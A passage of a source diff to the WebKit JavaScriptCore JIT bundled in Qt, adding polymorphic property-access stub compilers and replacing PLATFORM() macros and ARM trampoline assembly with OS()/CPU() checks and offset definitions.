+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+
+    // Track the stub we have created so that it will be deleted later.
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    stubInfo->stubRoutine = entryLabel;
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+    
+    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_proto_list));
+}
+
+
+void JIT::privateCompileGetByIdSelfList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* polymorphicStructures, int currentIndex, Structure* structure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset)
+{
+    // regT0 holds a JSCell*
+    Jump failureCase = checkStructure(regT0, structure);
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        if (!structure->isUsingInlineStorage()) {
+            move(regT0, regT1);
+            compileGetDirectOffset(regT1, regT2, regT1, structure, cachedOffset);
+        } else
+            compileGetDirectOffset(regT0, regT2, regT1, structure, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(regT0, regT1, regT0, structure, cachedOffset);
+
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }    
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    CodeLocationLabel lastProtoBegin = polymorphicStructures->list[currentIndex - 1].stubRoutine;
+    if (!lastProtoBegin)
+        lastProtoBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
+    
+    patchBuffer.link(failureCase, lastProtoBegin);
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    
+    structure->ref();
+    polymorphicStructures->list[currentIndex].set(entryLabel, structure);
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+}
+
+void JIT::privateCompileGetByIdProtoList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, CallFrame* callFrame)
+{
+    // regT0 holds a JSCell*
+    
+    // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
+    // referencing the prototype object - let's speculatively load it's table nice and early!)
+    JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
+    
+    // Check eax is an object of the right Structure.
+    Jump failureCases1 = checkStructure(regT0, structure);
+    
+    // Check the prototype object's Structure had not changed.
+    Structure** prototypeStructureAddress = &(protoObject->m_structure);
+#if CPU(X86_64)
+    move(ImmPtr(prototypeStructure), regT3);
+    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
+#else
+    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
+#endif
+    
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT2, regT2, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
+    
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
+    patchBuffer.link(failureCases1, lastProtoBegin);
+    patchBuffer.link(failureCases2, lastProtoBegin);
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+    
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    
+    structure->ref();
+    prototypeStructure->ref();
+    prototypeStructures->list[currentIndex].set(entryLabel, structure, prototypeStructure);
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+}
+
+void JIT::privateCompileGetByIdChainList(StructureStubInfo* stubInfo, PolymorphicAccessStructureList* prototypeStructures, int currentIndex, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, CallFrame* callFrame)
+{
+    // regT0 holds a JSCell*
+    ASSERT(count);
+    
+    JumpList bucketsOfFail;
+    
+    // Check eax is an object of the right Structure.
+    bucketsOfFail.append(checkStructure(regT0, structure));
+    
+    Structure* currStructure = structure;
+    RefPtr<Structure>* chainEntries = chain->head();
+    JSObject* protoObject = 0;
+    for (unsigned i = 0; i < count; ++i) {
+        protoObject = asObject(currStructure->prototypeForLookup(callFrame));
+        currStructure = chainEntries[i].get();
+        
+        // Check the prototype object's Structure had not changed.
+        Structure** prototypeStructureAddress = &(protoObject->m_structure);
+#if CPU(X86_64)
+        move(ImmPtr(currStructure), regT3);
+        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
+#else
+        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(currStructure)));
+#endif
+    }
+    ASSERT(protoObject);
+    
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT2, regT2, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
+
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    CodeLocationLabel lastProtoBegin = prototypeStructures->list[currentIndex - 1].stubRoutine;
+    
+    patchBuffer.link(bucketsOfFail, lastProtoBegin);
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+    
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    
+    // Track the stub we have created so that it will be deleted later.
+    structure->ref();
+    chain->ref();
+    prototypeStructures->list[currentIndex].set(entryLabel, structure, chain);
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+}
+
+void JIT::privateCompileGetByIdChain(StructureStubInfo* stubInfo, Structure* structure, StructureChain* chain, size_t count, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
+{
+    // regT0 holds a JSCell*
+    ASSERT(count);
+    
+    JumpList bucketsOfFail;
+    
+    // Check eax is an object of the right Structure.
+    bucketsOfFail.append(checkStructure(regT0, structure));
+    
+    Structure* currStructure = structure;
+    RefPtr<Structure>* chainEntries = chain->head();
+    JSObject* protoObject = 0;
+    for (unsigned i = 0; i < count; ++i) {
+        protoObject = asObject(currStructure->prototypeForLookup(callFrame));
+        currStructure = chainEntries[i].get();
+        
+        // Check the prototype object's Structure had not changed.
+        Structure** prototypeStructureAddress = &(protoObject->m_structure);
+#if CPU(X86_64)
+        move(ImmPtr(currStructure), regT3);
+        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3));
+#else
+        bucketsOfFail.append(branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(currStructure)));
+#endif
+    }
+    ASSERT(protoObject);
+    
+    bool needsStubLink = false;
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT2, regT2, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    if (needsStubLink) {
+        for (Vector<CallRecord>::iterator iter = m_calls.begin(); iter != m_calls.end(); ++iter) {
+            if (iter->to)
+                patchBuffer.link(iter->from, FunctionPtr(iter->to));
+        }
+    }
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    patchBuffer.link(bucketsOfFail, stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall));
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+    
+    // Track the stub we have created so that it will be deleted later.
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    stubInfo->stubRoutine = entryLabel;
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+    
+    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_proto_list));
+}
+
+/* ------------------------------ END: !ENABLE / ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
+
+#endif // !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
+
+void JIT::compileGetDirectOffset(RegisterID base, RegisterID resultTag, RegisterID resultPayload, RegisterID structure, RegisterID offset)
+{
+    ASSERT(sizeof(((Structure*)0)->m_propertyStorageCapacity) == sizeof(int32_t));
+    ASSERT(sizeof(JSObject::inlineStorageCapacity) == sizeof(int32_t));
+    ASSERT(sizeof(JSValue) == 8);
+    
+    Jump notUsingInlineStorage = branch32(NotEqual, Address(structure, OBJECT_OFFSETOF(Structure, m_propertyStorageCapacity)), Imm32(JSObject::inlineStorageCapacity));
+    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSObject, m_inlineStorage)+OBJECT_OFFSETOF(JSValue, u.asBits.payload)), resultPayload);
+    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSObject, m_inlineStorage)+OBJECT_OFFSETOF(JSValue, u.asBits.tag)), resultTag);
+    Jump finishedLoad = jump();
+    notUsingInlineStorage.link(this);
+    loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
+    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSValue, u.asBits.payload)), resultPayload);
+    loadPtr(BaseIndex(base, offset, TimesEight, OBJECT_OFFSETOF(JSValue, u.asBits.tag)), resultTag);
+    finishedLoad.link(this);
+}
+
+void JIT::emit_op_get_by_pname(Instruction* currentInstruction)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    unsigned expected = currentInstruction[4].u.operand;
+    unsigned iter = currentInstruction[5].u.operand;
+    unsigned i = currentInstruction[6].u.operand;
+    
+    emitLoad2(property, regT1, regT0, base, regT3, regT2);
+    emitJumpSlowCaseIfNotJSCell(property, regT1);
+    addSlowCase(branchPtr(NotEqual, regT0, payloadFor(expected)));
+    // Property registers are now available as the property is known
+    emitJumpSlowCaseIfNotJSCell(base, regT3);
+    emitLoadPayload(iter, regT1);
+    
+    // Test base's structure
+    loadPtr(Address(regT2, OBJECT_OFFSETOF(JSCell, m_structure)), regT0);
+    addSlowCase(branchPtr(NotEqual, regT0, Address(regT1, OBJECT_OFFSETOF(JSPropertyNameIterator, m_cachedStructure))));
+    load32(addressFor(i), regT3);
+    sub32(Imm32(1), regT3);
+    addSlowCase(branch32(AboveOrEqual, regT3, Address(regT1, OBJECT_OFFSETOF(JSPropertyNameIterator, m_numCacheableSlots))));
+    compileGetDirectOffset(regT2, regT1, regT0, regT0, regT3);    
+    
+    emitStore(dst, regT1, regT0);
+    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_pname), dst, regT1, regT0);
+}
+
+void JIT::emitSlow_op_get_by_pname(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    
+    linkSlowCaseIfNotJSCell(iter, property);
+    linkSlowCase(iter);
+    linkSlowCaseIfNotJSCell(iter, base);
+    linkSlowCase(iter);
+    linkSlowCase(iter);
+    
+    JITStubCall stubCall(this, cti_op_get_by_val);
+    stubCall.addArgument(base);
+    stubCall.addArgument(property);
+    stubCall.call(dst);
+}
+
+} // namespace JSC
+
+#endif // ENABLE(JIT)
+
+#endif // ENABLE(JSVALUE32_64)
+
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubCall.h b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubCall.h
index c5ed9e3..cfbd7dc 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubCall.h
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubCall.h
@@ -38,7 +38,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Cell)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -46,7 +46,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Cell)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -54,7 +54,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(VoidPtr)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -62,7 +62,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Int)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -70,7 +70,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Int)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -78,7 +78,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Void)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 
@@ -87,7 +87,7 @@ namespace JSC {
             : m_jit(jit)
             , m_stub(stub)
             , m_returnType(Value)
-            , m_stackIndex(stackIndexStart)
+            , m_stackIndex(JITSTACKFRAME_ARGS_INDEX)
         {
         }
 #endif
@@ -145,7 +145,7 @@ namespace JSC {
 
         void getArgument(size_t argumentNumber, JIT::RegisterID tag, JIT::RegisterID payload)
         {
-            size_t stackIndex = stackIndexStart + (argumentNumber * stackIndexStep);
+            size_t stackIndex = JITSTACKFRAME_ARGS_INDEX + (argumentNumber * stackIndexStep);
             m_jit->peek(payload, stackIndex);
             m_jit->peek(tag, stackIndex + 1);
         }
@@ -222,7 +222,6 @@ namespace JSC {
 
     private:
         static const size_t stackIndexStep = sizeof(EncodedJSValue) == 2 * sizeof(void*) ? 2 : 1;
-        static const size_t stackIndexStart = 1; // Index 0 is reserved for restoreArgumentReference().
 
         JIT* m_jit;
         FunctionPtr m_stub;
diff --git a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.cpp b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.cpp
index 8385f92..daa945c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/jit/JITStubs.cpp
@@ -38,6 +38,7 @@
 #include "Collector.h"
 #include "Debugger.h"
 #include "ExceptionHelpers.h"
+#include "GetterSetter.h"
 #include "GlobalEvalFunction.h"
 #include "JIT.h"
 #include "JSActivation.h"
@@ -56,6 +57,7 @@
 #include "RegExpPrototype.h"
 #include "Register.h"
 #include "SamplingTool.h"
+#include <wtf/StdLibExtras.h>
 #include <stdarg.h>
 #include <stdio.h>
 
@@ -63,31 +65,37 @@ using namespace std;
 
 namespace JSC {
 
-#if PLATFORM(DARWIN) || PLATFORM(WIN_OS)
+#if OS(DARWIN) || OS(WINDOWS)
 #define SYMBOL_STRING(name) "_" #name
 #else
 #define SYMBOL_STRING(name) #name
 #endif
 
-#if PLATFORM(IPHONE)
+#if OS(IPHONE_OS)
 #define THUMB_FUNC_PARAM(name) SYMBOL_STRING(name)
 #else
 #define THUMB_FUNC_PARAM(name)
 #endif
 
-#if PLATFORM(LINUX) && PLATFORM(X86_64)
+#if OS(LINUX) && CPU(X86_64)
 #define SYMBOL_STRING_RELOCATION(name) #name "@plt"
 #else
 #define SYMBOL_STRING_RELOCATION(name) SYMBOL_STRING(name)
 #endif
 
-#if PLATFORM(DARWIN)
+#if OS(DARWIN)
     // Mach-O platform
 #define HIDE_SYMBOL(name) ".private_extern _" #name
-#elif PLATFORM(AIX)
+#elif OS(AIX)
     // IBM's own file format
 #define HIDE_SYMBOL(name) ".lglobl " #name
-#elif PLATFORM(LINUX) || PLATFORM(FREEBSD) || PLATFORM(OPENBSD) || PLATFORM(SOLARIS) || (PLATFORM(HPUX) && PLATFORM(IA64)) || PLATFORM(SYMBIAN) || PLATFORM(NETBSD)
+#elif   OS(LINUX)               \
+     || OS(FREEBSD)             \
+     || OS(OPENBSD)             \
+     || OS(SOLARIS)             \
+     || (OS(HPUX) && CPU(IA64)) \
+     || OS(SYMBIAN)             \
+     || OS(NETBSD)
     // ELF platform
 #define HIDE_SYMBOL(name) ".hidden " #name
 #else
@@ -96,7 +104,7 @@ namespace JSC {
 
 #if USE(JSVALUE32_64)
 
-#if COMPILER(GCC) && PLATFORM(X86)
+#if COMPILER(GCC) && CPU(X86)
 
 // These ASSERTs remind you that, if you change the layout of JITStackFrame, you
 // need to change the assembly trampolines below to match.
@@ -155,7 +163,7 @@ SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
     "ret" "\n"
 );
     
-#elif COMPILER(GCC) && PLATFORM(X86_64)
+#elif COMPILER(GCC) && CPU(X86_64)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST not supported on x86-64."
@@ -225,73 +233,28 @@ SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
     "ret" "\n"
 );
 
-#elif COMPILER(GCC) && PLATFORM(ARM_THUMB2)
+#elif COMPILER(GCC) && CPU(ARM_THUMB2)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST not supported on ARMv7."
 #endif
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiTrampoline) "\n"
-HIDE_SYMBOL(ctiTrampoline) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiTrampoline) "\n"
-SYMBOL_STRING(ctiTrampoline) ":" "\n"
-    "sub sp, sp, #0x3c" "\n"
-    "str lr, [sp, #0x20]" "\n"
-    "str r4, [sp, #0x24]" "\n"
-    "str r5, [sp, #0x28]" "\n"
-    "str r6, [sp, #0x2c]" "\n"
-    "str r1, [sp, #0x30]" "\n"
-    "str r2, [sp, #0x34]" "\n"
-    "str r3, [sp, #0x38]" "\n"
-    "cpy r5, r2" "\n"
-    "mov r6, #512" "\n"
-    "blx r0" "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x3c" "\n"
-    "bx lr" "\n"
-);
+#define THUNK_RETURN_ADDRESS_OFFSET      0x3C
+#define PRESERVED_RETURN_ADDRESS_OFFSET  0x40
+#define PRESERVED_R4_OFFSET              0x44
+#define PRESERVED_R5_OFFSET              0x48
+#define PRESERVED_R6_OFFSET              0x4C
+#define REGISTER_FILE_OFFSET             0x50
+#define CALLFRAME_OFFSET                 0x54
+#define EXCEPTION_OFFSET                 0x58
+#define ENABLE_PROFILER_REFERENCE_OFFSET 0x64
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiVMThrowTrampoline) "\n"
-HIDE_SYMBOL(ctiVMThrowTrampoline) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiVMThrowTrampoline) "\n"
-SYMBOL_STRING(ctiVMThrowTrampoline) ":" "\n"
-    "cpy r0, sp" "\n"
-    "bl " SYMBOL_STRING_RELOCATION(cti_vm_throw) "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x3c" "\n"
-    "bx lr" "\n"
-);
+#elif COMPILER(GCC) && CPU(ARM_TRADITIONAL)
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiOpThrowNotCaught) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiOpThrowNotCaught) "\n"
-SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x3c" "\n"
-    "bx lr" "\n"
-);
+#define THUNK_RETURN_ADDRESS_OFFSET 64
+#define PRESERVEDR4_OFFSET          68
 
-#elif COMPILER(MSVC)
+#elif COMPILER(MSVC) && CPU(X86)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST configuration not supported on MSVC."
@@ -355,11 +318,13 @@ extern "C" {
     }
 }
 
-#endif // COMPILER(GCC) && PLATFORM(X86)
+#else
+    #error "JIT not supported on this platform."
+#endif
 
 #else // USE(JSVALUE32_64)
 
-#if COMPILER(GCC) && PLATFORM(X86)
+#if COMPILER(GCC) && CPU(X86)
 
 // These ASSERTs remind you that, if you change the layout of JITStackFrame, you
 // need to change the assembly trampolines below to match.
@@ -417,7 +382,7 @@ SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
     "ret" "\n"
 );
     
-#elif COMPILER(GCC) && PLATFORM(X86_64)
+#elif COMPILER(GCC) && CPU(X86_64)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST not supported on x86-64."
@@ -494,111 +459,67 @@ SYMBOL_STRING(ctiOpThrowNotCaught) ":" "\n"
     "ret" "\n"
 );
 
-#elif COMPILER(GCC) && PLATFORM(ARM_THUMB2)
+#elif COMPILER(GCC) && CPU(ARM_THUMB2)
 
 #if USE(JIT_STUB_ARGUMENT_VA_LIST)
 #error "JIT_STUB_ARGUMENT_VA_LIST not supported on ARMv7."
 #endif
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiTrampoline) "\n"
-HIDE_SYMBOL(ctiTrampoline) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiTrampoline) "\n"
-SYMBOL_STRING(ctiTrampoline) ":" "\n"
-    "sub sp, sp, #0x40" "\n"
-    "str lr, [sp, #0x20]" "\n"
-    "str r4, [sp, #0x24]" "\n"
-    "str r5, [sp, #0x28]" "\n"
-    "str r6, [sp, #0x2c]" "\n"
-    "str r1, [sp, #0x30]" "\n"
-    "str r2, [sp, #0x34]" "\n"
-    "str r3, [sp, #0x38]" "\n"
-    "cpy r5, r2" "\n"
-    "mov r6, #512" "\n"
-    "blx r0" "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x40" "\n"
-    "bx lr" "\n"
-);
+#define THUNK_RETURN_ADDRESS_OFFSET      0x1C
+#define PRESERVED_RETURN_ADDRESS_OFFSET  0x20
+#define PRESERVED_R4_OFFSET              0x24
+#define PRESERVED_R5_OFFSET              0x28
+#define PRESERVED_R6_OFFSET              0x2C
+#define REGISTER_FILE_OFFSET             0x30
+#define CALLFRAME_OFFSET                 0x34
+#define EXCEPTION_OFFSET                 0x38
+#define ENABLE_PROFILER_REFERENCE_OFFSET 0x40
 
-asm volatile (
-".text" "\n"
-".align 2" "\n"
-".globl " SYMBOL_STRING(ctiVMThrowTrampoline) "\n"
-HIDE_SYMBOL(ctiVMThrowTrampoline) "\n"
-".thumb" "\n"
-".thumb_func " THUMB_FUNC_PARAM(ctiVMThrowTrampoline) "\n"
-SYMBOL_STRING(ctiVMThrowTrampoline) ":" "\n"
-    "cpy r0, sp" "\n"
-    "bl " SYMBOL_STRING_RELOCATION(cti_vm_throw) "\n"
-    "ldr r6, [sp, #0x2c]" "\n"
-    "ldr r5, [sp, #0x28]" "\n"
-    "ldr r4, [sp, #0x24]" "\n"
-    "ldr lr, [sp, #0x20]" "\n"
-    "add sp, sp, #0x40" "\n"
-    "bx lr" "\n"
-);
